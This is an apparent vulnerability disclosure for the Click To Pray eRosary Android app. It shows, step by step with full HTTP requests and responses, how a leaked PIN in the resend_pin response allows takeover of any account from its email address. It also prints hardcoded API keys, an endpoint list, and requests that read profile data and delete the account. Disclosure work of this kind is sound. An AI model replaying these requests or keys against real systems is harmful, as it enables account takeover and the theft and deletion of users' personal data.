Click To Pray eRosary - For Peace in the World

Details

- App: Click To Pray eRosary - For Peace in the World
- Package name: com.clicktoprayerosary
- Platform: Android
- PlayStore: https://play.google.com/store/apps/details?id=com.clicktoprayerosary
- Vulnerable version: 0.8.50

App Description

The Click To Pray eRosary is an Android application made by The Vatican, which is a digital rosary that helps you and teaches you to pray the rosary for peace in the world

Vulnerability Description

tldr: An attacker can takeover the account of the victim. He can get his profile info (phone, email, name, gender, birthday, height, weight, avatar_url, bio, do_not_disturb, locale), his rosaries, delete his account. The only prerequisite for the attacker is to know the victim's email address.

In the app, the way to register and login are similar. Login/Register process:
1) Open the app
2) Click Start
3) The user enter his email address. Click Next
4) He accepts the T&Cs
5) He entered the pin code received by email. Click Verify

In the step 3), when the user clicks the Next button, the following network request is sent by the app:

POST /v1/resend_pin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 127
Host: rosa-backend.gti.tech
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.12.0

secret_access_key=wL2GzLRFsfUV4yXyxH3Y&access_key_id=CVBBctTC5S1DYbyE&phone=&email=fs0c131y@protonmail.com&locale=en-US&type=email

The app asks to his backend to resend a pin code to the value of the email parameter.

Side note: secret_access_key and access_key_id are hardcoded in the app under the names ACCESS_KEY_DEBUG and ACCESS_ID_DEBUG. It is similar for all the users. What is the point of having these parameters? You should also remove the debug mode from the app aka remove the method isDebugMode.

The problem is in the response of the « resend_pin » request.

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Connection: close
Date: Wed, 16 Oct 2019 23:29:33 GMT
Server: nginx
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none
Referrer-Policy: strict-origin-when-cross-origin
ETag: W/"d8b5470390b5f16381692956e660a66b"
Cache-Control: max-age=0, private, must-revalidate
X-Request-Id: 29643ba8-8618-470d-8d63-17054912fbc0
X-Runtime: 0.238190
X-Cache: Miss from cloudfront
Via: 1.1 8397e2a9ea3d253ab31a153059be0171.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: CDG3-C2
X-Amz-Cf-Id: A_m_iOZ5V_X3d1KXsoUAVzGT6Co6HOT-QJDNMxt027eby7vVDAN1tg==
Content-Length: 52

{"id": "BFnbZzGMw2Ho", "pin": "6007", "sms": "true"}

The response contains the pin code. An attacker doesn't have to access the victim's emails because the pin code is in the response.

With the pin code the attacker can send manually the network request of the step 5) to login as the victim

POST /v1/login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 187
Host: rosa-backend.gti.tech
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.12.0

secret_access_key=wL2GzLRFsfUV4yXyxH3Y&access_key_id=CVBBctTC5S1DYbyE&phone=&pin=6007&platform=&type=&email=fs0c131y@protonmail.com&device_id=

In the response, he will received the auth_token of the victim

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Connection: close
Date: Wed, 16 Oct 2019 23:29:44 GMT
Server: nginx
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none
Referrer-Policy: strict-origin-when-cross-origin
ETag: W/"bac807d20b5e9ddc65bc3d76e1ef614c"

Cache-Control: max-age=0, private, must-revalidate
X-Request-Id: ce98f4ab-14e6-4679-9969-f771221b261f
X-Runtime: 0.122731
X-Cache: Miss from cloudfront
Via: 1.1 4448f6f0cf46259e83792c753f97a4df.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: CDG3-C2
X-Amz-Cf-Id: LOxnFe6vlab0xUsItvNl3BilSvzAzMZ1TZUOUTvY9RTuMJYIzA1h3g==
Content-Length: 85

{"id": "BFnbZzGMw2Ho", "auth_token": "A4TDwN3u1zixivGXMzri", "new_account": "false" }

Worth to say the victim will notice as he will receive a new pin code by email and he will be logout from his current session

Exploitation

With this victim's auth_token, the attacker will be able to use the API used by the app. This API is described in the app in the file called CommAPI.java:

- /v1/daily_readings?
  secret_access_key=%s&access_key_id=%s&from=%s&to=%s&per_page=100
- /v1/daily_readings/%s?secret_access_key=%s&access_key_id=%s
- /v1/delete_account
- /v1/users
- /v1/logout
- /v1/users/me
- /v1/health/mindfulnesses
- /v1/news/%s?secret_access_key=%s&access_key_id=%s
- /v1/users/me/prayed/news?auth_token=%s&page=%s&per_page=20
- /v1/news/%s/praying_count
- /v1/users/me/prayed/news
- /v1/news?
  secret_access_key=%s&access_key_id=%s&source_from=clicktopray&source_type=%s&from=%s&to=%s&lang=%s&per_page=%s
- /v1/resend_pin
- /v1/users/me/posts
- /v1/posts/%s?secret_access_key=%s&access_key_id=%s
- /v1/users/me/posts/%s
- /v1/users/me/prayed/posts?auth_token=%s&page=%s&per_page=20
- /v1/posts/%s/report
- /v1/users/me/prayed/posts
- /v1/posts?secret_access_key=%s&access_key_id=%s&page=%s&per_page=20
- /v1/rosaries/progress
- /v1/rosaries/statistics
- /v1/users/me/devices/android
- /v1/login
- /v1/health/activities

For example, the attacker can get victim's profile info

GET /v1/users/me?auth_token=A4TDwN3u1zixivGXMzri HTTP/1.1
Host: rosa-backend.gti.tech
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.12.0

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Connection: close
Date: Wed, 16 Oct 2019 23:29:49 GMT
Server: nginx
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none
Referrer-Policy: strict-origin-when-cross-origin
ETag: W/"dda656cbdba675dbf86b8d674ca522b3"
Cache-Control: max-age=0, private, must-revalidate
X-Request-Id: 59c397f5-87f2-4c69-b18e-34631b88e260
X-Runtime: 0.036573
X-Cache: Miss from cloudfront
Via: 1.1 8c00584bf409a3f42ec7f0aef27ef265.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: CDG3-C2
X-Amz-Cf-Id: W70IlfNjNFR8KPa-DRX2017m62xWCofdIBJ9KOvtqyCcDUvkJyjN8g==
Content-Length: 780

{« id »:"BFnbZzGMw2Ho","phone":null,"email":"fs0c131y@protonmail.com","name":"REDACTED","gender":"REDACTED","birthday":"REDACTED","height":null,"weight":REDACTED,"avatar_url":"REDACTED","bio":null,"do_not_disturb":null,"locale":"en"}

He can also delete user account

DELETE /v1/delete_account HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Host: rosa-backend.gti.tech
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.12.0

auth_token=A4TDwN3u1zixivGXMzri

Mitigation

The pin code should be removed from the response of the resend_pin request.